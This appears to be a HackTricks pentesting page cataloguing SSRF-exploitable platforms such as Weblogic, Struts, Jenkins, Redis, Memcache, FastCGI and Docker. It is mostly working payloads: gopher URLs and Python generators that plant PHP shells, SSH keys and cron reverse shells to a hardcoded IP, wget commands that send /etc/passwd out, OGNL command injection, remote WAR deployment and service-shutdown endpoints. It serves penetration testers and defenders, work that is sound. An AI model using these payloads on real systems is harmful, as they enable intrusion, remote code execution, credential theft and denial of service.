HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
SSRF Vulnerable Platforms
Support HackTricks and get benefits!

Elasticsearch

Commonly bound port: 9200
When Elasticsearch is deployed internally, it usually does not require authentication.
If you have a partially blind SSRF where you can determine the status code, check to see if the following endpoints return a 200:
/_cluster/health
/_cat/indices
/_cat/health
If you have a blind SSRF where you can send POST requests, you can shut down the Elasticsearch instance by sending a POST request to the following path:
Note: the _shutdown API has been removed from Elasticsearch version 2.x. and up. This only works in Elasticsearch 1.6 and below:
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown

Weblogic

Commonly bound ports: 80, 443 (SSL), 7001, 8888
SSRF Canary: UDDI Explorer (CVE-2014-4210)
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
โ€‹
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
This also works via GET:
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
This endpoint is also vulnerable to CRLF injection:
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
Will result in the following request:
[email protected]:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive
โ€‹
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
SSRF Canary: CVE-2020-14883
Taken from here.
Linux:
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
โ€‹
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Windows:
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
โ€‹
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Hashicorp Consul

Commonly bound ports: 8500, 8501 (SSL)
Writeup can be found here.

Shellshock

Commonly bound ports: 80, 443 (SSL), 8080
In order to effectively test for Shellshock, you may need to add a header containing the payload. The following CGI paths are worth trying:
Short list of CGI paths to test:
SSRF Canary: Shellshock via User Agent
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY

Apache Druid

Commonly bound ports: 80, 8080, 8888, 8082
See the API reference for Apache Druid here.
If you can view the status code, check the following paths to see if they return a 200 status code:
/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus
Shutdown tasks, requires you to guess task IDs or the datasource name:
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
Shutdown supervisors on Apache Druid Overlords:
/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown

Apache Solr

Commonly bound port: 8983
SSRF Canary: Shards Parameter
To add to what shubham is saying - scanning for solr is relatively easy. There is a shards= param which allows you to bounce SSRF to SSRF to verify you are hitting a solr instance blindly.
โ€” ะฅะฐะฒะธะถ ะะฐั„ั„ะธ ๐Ÿฅ• (@nnwakelam) January 13, 2021โ€‹
Taken from here.
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
SSRF Canary: Solr XXE (2017)
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
RCE via dataImportHandler

PeopleSoft

Commonly bound ports: 80,443 (SSL)
Taken from this research here.
SSRF Canary: XXE #1
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
โ€‹
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
SSRF Canary: XXE #2
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
โ€‹
<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">

Apache Struts

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
Taken from here.
SSRF Canary: Struts2-016:
Append this to the end of every internal endpoint/URL you know of:
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

JBoss

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
Taken from here.
SSRF Canary: Deploy WAR from URL
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

Confluence

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
SSRF Canary: Sharelinks (Confluence versions released from 2016 November and older)
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

Jira

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:[email protected]

Other Atlassian Products

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
SSRF Canary: iconUriServlet (CVE-2017-9506):
  • Bamboo < 6.0.0
  • Bitbucket < 4.14.4
  • Crowd < 2.11.2
  • Crucible < 4.3.2
  • Fisheye < 4.3.2
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

OpenTSDB

Commonly bound port: 4242
SSRF Canary: curl via RCE
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
SSRF Canary: curl via RCE - CVE-2020-35476
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

Jenkins

Commonly bound ports: 80,443 (SSL),8080,8888
Great writeup here.
SSRF Canary: CVE-2018-1000600
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
RCE
Follow the instructions here to achieve RCE via GET: Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!โ€‹
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%[email protected](name='orange.tw', root='http://SSRF_CANARY/')%[email protected](group='tw.orange', module='poc', version='1')%0aimport Orange;
RCE via Groovy
cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

Hystrix Dashboard

Commonly bound ports: 80,443 (SSL),8080
Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6.
SSRF Canary: CVE-2020-5412
/proxy.stream?origin=http://SSRF_CANARY/

W3 Total Cache

Commonly bound ports: 80,443 (SSL)
W3 Total Cache 0.9.2.6-0.9.3
SSRF Canary: CVE-2019-6715
This needs to be a PUT request:
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close
โ€‹
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
SSRF Canary
The advisory for this vulnerability was released here: W3 Total Cache SSRF vulnerabilityโ€‹
This PHP code will generate a payload for your SSRF Canary host (replace url with your canary host):
<?php
โ€‹
$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);
โ€‹
?>

Docker

Commonly bound ports: 2375, 2376 (SSL)
If you have a partially blind SSRF, you can use the following paths to verify the presence of Docker's API:
/containers/json
/secrets
/services
RCE via running an arbitrary docker image
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...
โ€‹
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
Replace alpine with an arbitrary image you would like the docker container to run.

Gitlab Prometheus Redis Exporter

Commonly bound ports: 9121
This vulnerability affects Gitlab instances before version 13.1.1. According to the Gitlab documentation Prometheus and its exporters are on by default, starting with GitLab 9.0.
These exporters provide an excellent method for an attacker to pivot and attack other services using CVE-2020-13379. One of the exporters which is easily exploited is the Redis Exporter.
The following endpoint will allow an attacker to dump all the keys in the redis server provided via the target parameter:
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
โ€‹
Possible via Gopher

Redis

Commonly bound port: 6379
Recommended reading:
RCE via Cron - Gopher Attack Surfacesโ€‹
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
Gopher:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
RCE via Shell Upload (PHP) - Redis Getshell Summaryโ€‹
#!/usr/bin/env python
# -*-coding:utf-8-*-
โ€‹
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""
โ€‹
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"quot;+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
โ€‹
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
RCE via authorized_keys - Redis Getshell Summaryโ€‹
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ [email protected]\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"quot;+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
โ€‹
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
RCE on GitLab via Git protocol
Great writeup from Liveoverflow here.
While this required authenticated access to GitLab to exploit, I am including the payload here as the git protocol may work on the target you are hacking. This payload is for reference.
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Memcache

Commonly bound port: 11211
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a

Apache Tomcat

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
Effective against Tomcat 6 only:
CTF writeup using this technique:

FastCGI

Commonly bound ports: 80,443 (SSL)
This was taken from here.
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

Java RMI

Commonly bound ports: 1090,1098,1099,1199,4443-4446,8999-9010,9999
Blind SSRF vulnerabilities that allow arbitrary bytes (gopher based) can be used to perform deserialization or codebase attacks on the Java RMI default components (RMI Registry, Distributed Garbage Collector, Activation System). A detailed writeup can be found here. The following listing shows an example for the payload generation:
$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
Support HackTricks and get benefits!